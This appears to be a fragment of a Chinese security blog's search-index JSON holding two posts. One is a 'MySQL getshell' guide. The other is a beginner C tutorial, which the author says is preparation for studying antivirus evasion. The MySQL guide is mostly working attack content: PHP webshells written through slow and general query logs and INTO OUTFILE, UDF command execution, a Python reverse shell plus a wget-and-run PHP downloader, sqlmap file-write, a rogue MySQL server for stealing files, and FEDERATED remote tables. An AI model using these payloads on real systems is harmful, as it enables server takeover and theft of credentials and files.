\u0026#39;plugin_dir\u0026#39;; 3. 准备udf文件: https://www.sqlsec.com/udf/ 4. 将文件写入插件目录(最好DUMPFILE,outfile也能写但是不处理换行符) SELECT 0x7f45... INTO DUMPFILE \u0026#39;/usr/lib/mysql/plugin/udf.so\u0026#39;; 5. 创建关联函数 -- 创建名为 sys_eval 的函数，关联到刚才上传的库文件 CREATE FUNCTION sys_eval RETURNS STRING SONAME \u0026#39;udf.so\u0026#39;; 6.执行系统命令 SELECT sys_eval(\u0026#39;whoami\u0026#39;); 慢日志 getshell 利用条件 高权限(super或SYSTEM_CARIABLES_ADMIN)\n查看权限(MYSQL 8.0+ 引入的细分权限) SELECT * FROM information_schema.user_privileges WHERE grantee = CONCAT(\u0026#34;\u0026#39;\u0026#34;, CURRENT_USER(), \u0026#34;\u0026#39;\u0026#34;); 绝对路径: 知道web目录的绝对路径\n配置允许: 运行mysql的系统用户对Web目录有写入权限\n尝试写文件判断SELECT \u0026#39;test\u0026#39; INTO OUTFILE \u0026#39;/var/www/html/check.txt\u0026#39;; 漏洞复现 查询服务器默认时间 show global variables like \u0026#39;%long_query_time%\u0026#39; show global variables like \u0026#39;%long%\u0026#39; 查看慢日志参数 show global variables like \u0026#39;%slow%\u0026#39; 开启慢日志 SET GLOBAL slow_query_log = \u0026#39;ON\u0026#39;; 修改日志路径为 Web 目录下的 PHP 文件 SET GLOBAL slow_query_log_file = \u0026#39;C:/phpStudy/WWW/info.php\u0026#39;; SELECT \u0026#39;\u0026lt;?php @eval($_POST[1]);?\u0026gt;\u0026#39; or sleep(11)\t# 这里的时间必须超过慢日志的时间 可以选择更改时间 SET GLOBAL long_query_time = 1; 测试连接: http://example/text.php general_log getshell 利用条件 高权限(root) 已知web根目录物理路径 对web目录有写入权限 介绍 相关参数一共有3个：general_log、log_output、general_log_file show variables like \u0026#39;general_log\u0026#39;; # 查看日志是否开启 set global general_log=on; # 开启日志功能 show variables like \u0026#39;general_log_file\u0026#39;; # 看看日志文件保存位置 set global general_log_file=\u0026#39;C:/phpStudy/WWW/shell.php\u0026#39;; # 设置日志文件保存位置 show variables like \u0026#39;log_output\u0026#39;; -- 看看日志输出类型 table或file set global log_output=\u0026#39;table\u0026#39;; -- 设置输出类型为 table set global log_output=\u0026#39;file\u0026#39;; -- 设置输出类型为file 一般log_output都是file,就是将日志存入文件中。table的话就是将日志存入数据库的日志表中。(table就会失败) 漏洞复现 set global general_log=\u0026#39;on\u0026#39;; set global general_log_file=\u0026#39;C:/phpStudy/WWW/shell.php\u0026#39; select \u0026#39;\u0026lt;?php @eval($_POST[\u0026#39;pwd\u0026#39;]);?\u0026gt;\u0026#39;; # 测试 http://example/shell.php into_outfile方法 getshell 利用条件 secure_file_priv为空 知道web绝对路径 必须有FILE权限 漏洞复现 \u0026#39; union select 1,2,3,\u0026#34;\u0026lt;?php system($_POST[\u0026#39;x\u0026#39;]);?\u0026gt;\u0026#34;,5,6,7,8 into outfile \u0026#39;/var/www/sqli_shell.php\u0026#39;# 远程加载拿shell 思路一 可以用来绕过文件字符过多失败\n利用sqlmap的文件写入,写了一个下载器 使用下载器连接vps下载真正的payload 反弹shell # 准备脚本 //shell8888.py export RHOST=\u0026#34;10.10.10.128\u0026#34;;export RPORT=8888;python -c \u0026#39;import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\u0026#34;RHOST\u0026#34;),int(os.getenv(\u0026#34;RPORT\u0026#34;))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; //get8888.php \u0026lt;?php system(\u0026#39;cd /tmp;wget http://10.10.10.128:81/shell8888.py;chmod +x shell8888.py;./shell8888.py\u0026#39;)?\u0026gt; # sqlmap上传get8888.php //上传shell sqlmap -u \u0026#39;http://10.10.10.100/login.php\u0026#39; --data=\u0026#39;email=admin\u0026amp;pass=admin\u0026amp;submit=Login\u0026#39; --file-write=\u0026#39;get8888.php\u0026#39; --file-dest=\u0026#39;/var/www/get8888.php\u0026#39; # 本地开启监听 nc -lvvp 8888 # 本地开启web下载服务 php -S 0:81 # 浏览器远程访问加载get8888.php http://10.10.10.100/shell8888.py 思路二 当客户端(Web服务器)执行LOAD DATA LOCAL INFILE时,MySQL协议允许服务端请求客户端机器上的任何文件\n利用条件 关键条件：目标客户端（如 PHP 的 mysqli 或 PDO）必须开启了 local-infile 选项。 网络连通性： 目标服务器必须能访问外网（或你的 VPS IP）。 攻击步骤 部署恶意服务端：使用开源工具（如 Rogue-MySql-Server）在你的公网服务器上搭建。 配置读取路径： 在恶意服务端配置你想要读取的文件（如 /etc/passwd 或网站配置文件 config.php）。 触发连接： 方式 A： 目标网站有一个“配置远程数据库”的功能（如安装引导、后台数据库迁移）。 方式 B： 目标有 SSRF 漏洞，可以伪造请求连接你的 IP。 方式 C：目标有 SQL 注入，通过 LOAD DATA LOCAL INFILE 指令强制其连接你的服务器。 获取敏感信息：目标连接成功的一瞬间，它会自动把文件内容发送给你。 拿到 Shell：通过读取到的 config.php 获取其真正的数据库密码，或者找到源码泄露，再配合之前说的 into outfile 拿到 Shell。 思路三 利用Federated存储引擎(远程表映射)\n利用条件 引擎开启：默认情况下 MySQL 是不开启 FEDERATED 的，需在 my.cnf 配置。 权限： 需要有 CREATE TABLE 权限。 利用步骤 检测引擎: 执行SHOW ENGINES;,确认FEDERATED状态为yes vps准备: 在vps上创建一个真实的数据库和表,并在表中插入Webshell代码(十六进制) 建立映射: 在目标数据库执行CREATE TABLE,使用ENGINE=FEDERATED指向vps数据库 CREATE TABLE fake_table (cmd TEXT) ENGINE=FEDERATED CONNECTION=\u0026#39;mysql://evil_user:password@your_vps:3306/db/real_table\u0026#39;; 数据拉取与落地: 利用 INSERT INTO ... SELECT 将远程表中的木马内容导入到目标本地，并配合 INTO OUTFILE 导出。\nSELECT cmd FROM fake_table INTO OUTFILE \u0026#39;/var/www/html/shell.php\u0026#39;; 数据库备份 getshell 网站对上传的文件后缀进行过滤，不允许上传脚本类型文件如asp/php/jsp/aspx等。\n而网站具有数据库备份功能，这时我们就可以将webshell格式先改为允许上传的文件格式，如jpg、gif等，然后，我们找到上传后的文件路径，通过数据库备份，将文件备份为脚本格式。\n","permalink":"https://h4xk0r.github.io/posts/mysql-getshell/","summary":"\u003ch2 id=\"udf--os-shell\"\u003eUDF  (\u0026ndash;os-shell)\u003c/h2\u003e\n\u003ch3 id=\"利用条件\"\u003e利用条件\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e数据库为DBA,可以使用sqlmap的\u003ccode\u003e--is-dba\u003c/code\u003e查看当前网站连接的数据库账户是否是管理员\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003esecure_file_priv\u003c/code\u003e没有具体值\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e查找:\n1. --sql-shell \n1. 进入数据库后: SHOW VARS LIKE \u0026#39;secure_file_priv\u0026#39;;\n2. 盲注:使用length()函数推测: ?id=1 AND (SELECT @@secure_file_priv) IS NULL \n\t返回正常则null,无法写入\n\t页面异常则,则不是null\n\t判断是否为空:\n\t?id=1 AND length(@@secure_file_priv) = 0\t页面正常则为空\n3. 尝试写入文件: ?id=1 INTO OUTFILE \u0026#39;/var/www/html/test.txt\u0026#39; -- 根据报错信息判断\n4.权限检查: ?id=1 AND (SELECT user_privileges FROM information_schema.user_privileges WHERE privilege_type=\u0026#39;FILE\u0026#39; AND grantee=CONCAT(\u0026#34;\u0026#39;\u0026#34;, (SELECT CURRENT_USER()), \u0026#34;\u0026#39;\u0026#34;)) IS NOT NULL\t即使secure_file_priv为空,用户没有FILE权限,也无法写入\n或者\nAND (SELECT 1 FROM mysql.user LIMIT 1)，如果能访问 mysql 库，通常意味着是高权限。\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e知道网站的绝对路径\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e查找:\n1. 注入报错信息\n2. 利用内部函数和元数据:\nApache (Ubuntu):  UNION SELECT 1, load_file(\u0026#39;/etc/apache2/sites-enabled/000-default.conf\u0026#39;), 3\nNginx:               UNION SELECT 1, load_file(\u0026#39;/etc/nginx/nginx.conf\u0026#39;), 3\nWindows (IIS):       C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config\n3.常见的默认路径:\nLinux (Apache)\t/var/www/html/, /var/www/www.example.com/\nLinux (Nginx)\t/usr/share/nginx/html/, /var/www/html/\nWindows (IIS)\tC:\\inetpub\\wwwroot\\\nWindows (XAMPP)\tC:\\xampp\\htdocs\\\nWindows (phpStudy)\tD:\\phpstudy_pro\\WWW\\, C:\\phpStudy\\WWW\\\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"漏洞复现\"\u003e漏洞复现\u003c/h3\u003e\n\u003cp\u003e方法一: \u0026ndash;os-shell\u003c/p\u003e","title":"MySQL getshell"},{"content":"C 语言 学习 学习c语言是为了后面学习免杀,记录一下学习过程方便温习\n基础知识 程序执行的两种方式: 解释: 借助一个程序,读懂你写的程序去执行 编译: 借助一个程序,把你的程序翻译成计算机懂得语言\u0026ndash;机器语言\u0026ndash;写的程序,然后执行(整体转换为机器码后，由系统直接调度执行) 整数类型 类型 存储大小 值范围 char 1 字节 -128 到 127 或 0 到 255 unsigned char 1 字节 0 到 255 signed char 1 字节 -128 到 127 int 2 或 4 字节 -32,768 到 32,767 或 -2,147,483,648 到 2,147,483,647 unsigned int 2 或 4 字节 0 到 65,535 或 0 到 4,294,967,295 short 2 字节 -32,768 到 32,767 unsigned short 2 字节 0 到 65,535 long 4 字节 -2,147,483,648 到 2,147,483,647 unsigned long 4 字节 0 到 4,294,967,295 一个demo:\n#define _CRT_SECURE_NO_WARNINGS\t//因为scanf容易导致溢出为避免报错加一个宏 #include \u0026lt;stdio.h\u0026gt; int main() { int price = 0; const int AMOUNT = 100;\t//定义常量 printf(\u0026#34;Enter you cash: \u0026#34;); scanf(\u0026#34;%d\u0026#34;,\u0026amp;price);\t//\u0026amp;price是取price的地址的意思 int change = AMOUNT - price; printf(\u0026#34;找您%d元\\n\u0026#34;,change); return 0; } scanf的注意点,如: scanf(\u0026#34;%d %d\u0026#34;,\u0026amp;a,\u0026amp;b) //那么输入的格式必须为`1空格1`,scanf里面是什么样,就必须输什么样,否则就会报错或者卡住 scanf(\u0026#34;price%d %d\u0026#34;,\u0026amp;a,\u0026amp;b) //必须输入price1 1 float_demo\nint main() { double foot; double inch; scanf(\u0026#34;%lf %lf\u0026#34;, \u0026amp;foot,\u0026amp;inch); printf(\u0026#34;身高是%f米,\\n\u0026#34;, (foot + inch / 12) * 0.3048); return 0; } 变量类型 描述 scanf (输入) printf (输出) 占用内存 int 整数 %d %d 4 字节 float 单精度小数 %f %f 4 字节 double 双精度小数 %lf %f 或 %lf 8 字节 char 单个字符 %c %c 1 字节 char[] 字符串 %s %s 视长度而定 long long 超大整数 %lld %lld 8 字节 Calculate the time difference demo\nint main() { int hours, minutes; int hours1, minutes1; scanf(\u0026#34;%d:%d\u0026#34;, \u0026amp;hours, \u0026amp;minutes); scanf(\u0026#34;%d:%d\u0026#34;, \u0026amp;hours1, \u0026amp;minutes1); int t1 = hours * 60 + minutes; int t2 = hours1 * 60 + minutes1; int diff = t2 - t1; printf(\u0026#34;时间差是%d小时%d分钟\u0026#34;, diff/60,diff%60); } 运算符优先级 if判断 int main() { int hours, minutes; int hours1, minutes1; scanf(\u0026#34;%d:%d\u0026#34;, \u0026amp;hours, \u0026amp;minutes); scanf(\u0026#34;%d:%d\u0026#34;, \u0026amp;hours1, \u0026amp;minutes1); int t1 = hours * 60 + minutes; int t2 = hours1 * 60 + minutes1; int ih = hours1 - hours; int im = minutes1 - minutes; if (im \u0026lt; 0) { im = 60 + im; ih --; } printf(\u0026#34;时间差是%d小时%d分钟\u0026#34;,ih,im ); return 0; } 三个数最大值\nint main() { int num1, num2, num3; int max; scanf(\u0026#34;%d %d %d\u0026#34;, \u0026amp;num1, \u0026amp;num2, \u0026amp;num3); if (num1 \u0026gt; num2) { if (num1 \u0026gt; num3) { max = num1; }else{ max = num3; } } else { if (num2 \u0026gt; num3 ) { max = num2; }else { max = num3; } } printf(\u0026#34;最大数是%d\u0026#34;, max); } switch-case int main() { int type; scanf(\u0026#34;%d\u0026#34;, \u0026amp;type); switch (type) {\t// switch类型只能是int case 1: printf(\u0026#34;早上好\\n\u0026#34;); break;\t//switch是一种基于运算的跳转,如果没有break他会继续运行下一个case case 2: printf(\u0026#34;中午好\\n\u0026#34;); break; case 3: printf(\u0026#34;晚上好\\n\u0026#34;); break; default: printf(\u0026#34;重新输入\\n\u0026#34;); break; } return 0; } 成绩转换\nint main() { int grade; scanf(\u0026#34;%d\u0026#34;,\u0026amp;grade); grade /= 10; switch (grade) { case 10: case 9: printf(\u0026#34;A\\n\u0026#34;); break; case 8: printf(\u0026#34;B\\n\u0026#34;); break; case 7: printf(\u0026#34;C\\n\u0026#34;); break; case 6: printf(\u0026#34;D\\n\u0026#34;); break; default: printf(\u0026#34;不及格\\n\u0026#34;); break; } return 0; } while 数位数\nint main() { int x; int n = 0; scanf(\u0026#34;%d\u0026#34;, \u0026amp;x); n++; x /= 10; while (x \u0026gt; 0) { n++; x /= 10; } printf(\u0026#34;%d\u0026#34;, n); return 0; } do while int main() { int x; scanf(\u0026#34;%d\u0026#34;, \u0026amp;x); int n = 0; do { x /= 10; n++; } while (x \u0026gt; 0); printf(\u0026#34;%d\u0026#34;, n); return 0; } //do while 先循环一次再判断条件 数据类型 类型名称: int, long, double 输入输出的格式化: %d, %ld, %lf 所表达的数的范围: char \u0026lt; short \u0026lt; int \u0026lt; float \u0026lt; double 内存中所占据的大小: 一字节到16字节 内存中的表达形式: 整形的数是二进制(补码),浮点数是编码 整数类型/内部表达 看内存中大小的demo\nint main() { printf(\u0026#34;char的大小是=%ld字节\\n\u0026#34;,sizeof(char)); printf(\u0026#34;short的大小是=%ld字节\\n\u0026#34;, sizeof(short)); printf(\u0026#34;int的大小是=%ld字节\\n\u0026#34;, sizeof(int)); printf(\u0026#34;long的大小是=%ld字节\\n\u0026#34;, sizeof(long)); printf(\u0026#34;long long的大小是=%ld字节\\n\u0026#34;, sizeof(long long)); } char的大小是=1字节 short的大小是=2字节 int的大小是=4字节 long的大小是=4字节 long long的大小是=8字节 补码/原码 原码和补码在有符号的表示中最高位都代表着正负(0代表正数,1负数)\n原码的作用: 计算机在内部运行时候都是用的补码,但是为了方便我们观看所有有了原码\n补码的作用: 节省成本,如在计算5-3时CPU必须有一个\u0026quot;减法器\u0026quot;的电路,但是写成5+(-3)结果也是一样的只需要做加法 消除正负零的问题: 在原码中存在+0,-0,在进行逻辑运算时需要进行两次判断. 但是在补码中0只有一种表示0000 0000这样也空出了一个位置,这也是为什么8比特表示的范围时-128~127 补码/原码的转换 转换方向 符号位 数值位操作 正数 (原 \u0026lt;\u0026ndash;\u0026gt; 补) 不变 (0) 不变 负数 (原 \u0026ndash; \u0026gt; 补) 不变 (1) 取反 + 1 负数 (补 \u0026lt; \u0026ndash; 原) 不变 (1) 取反 + 1 (或 减 1 取反) 注意:\n-128 的补码是1000 0000 它没有对应的 8 位原码（因为 8 位原码最大只能表示到 -127）。它是补码系统通过数学逻辑强行定义的\n指针 ","permalink":"https://h4xk0r.github.io/posts/c/c-%E8%AF%AD%E8%A8%80-%E5%AD%A6%E4%B9%A0/","summary":"\u003ch1 id=\"c-语言-学习\"\u003eC 语言 学习\u003c/h1\u003e\n\u003cp\u003e学习c语言是为了后面学习免杀,记录一下学习过程方便温习\u003c/p\u003e\n\u003ch2 id=\"基础知识\"\u003e基础知识\u003c/h2\u003e\n\u003ch4 id=\"程序执行的两种方式\"\u003e程序执行的两种方式:\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e解释: 借助一个程序,读懂你写的程序去执行\u003c/li\u003e\n\u003cli\u003e编译: 借助一个程序,把你的程序翻译成计算机懂得语言\u0026ndash;机器语言\u0026ndash;写的程序,然后执行(整体转换为机器码后，由系统直接调度执行)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"整数类型\"\u003e整数类型\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: left\"\u003e类型\u003c/th\u003e\n          \u003cth style=\"text-align: left\"\u003e存储大小\u003c/th\u003e\n          \u003cth style=\"text-align: left\"\u003e值范围\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003echar\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e1 字节\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e-128 到 127 或 0 到 255\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003eunsigned char\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e1 字节\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e0 到 255\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003esigned char\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e1 字节\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e-128 到 127\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003eint\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e2 或 4 字节\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e-32,768 到 32,767 或 -2,147,483,648 到 2,147,483,647\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003eunsigned int\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e2 或 4 字节\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e0 到 65,535 或 0 到 4,294,967,295\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003eshort\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e2 字节\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e-32,768 到 32,767\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003eunsigned short\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e2 字节\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e0 到 65,535\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003elong\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e4 字节\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e-2,147,483,648 到 2,147,483,647\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: left\"\u003eunsigned long\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e4 字节\u003c/td\u003e\n          \u003ctd style=\"text-align: left\"\u003e0 到 4,294,967,295\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e一个demo:\u003c/p\u003e","title":""}]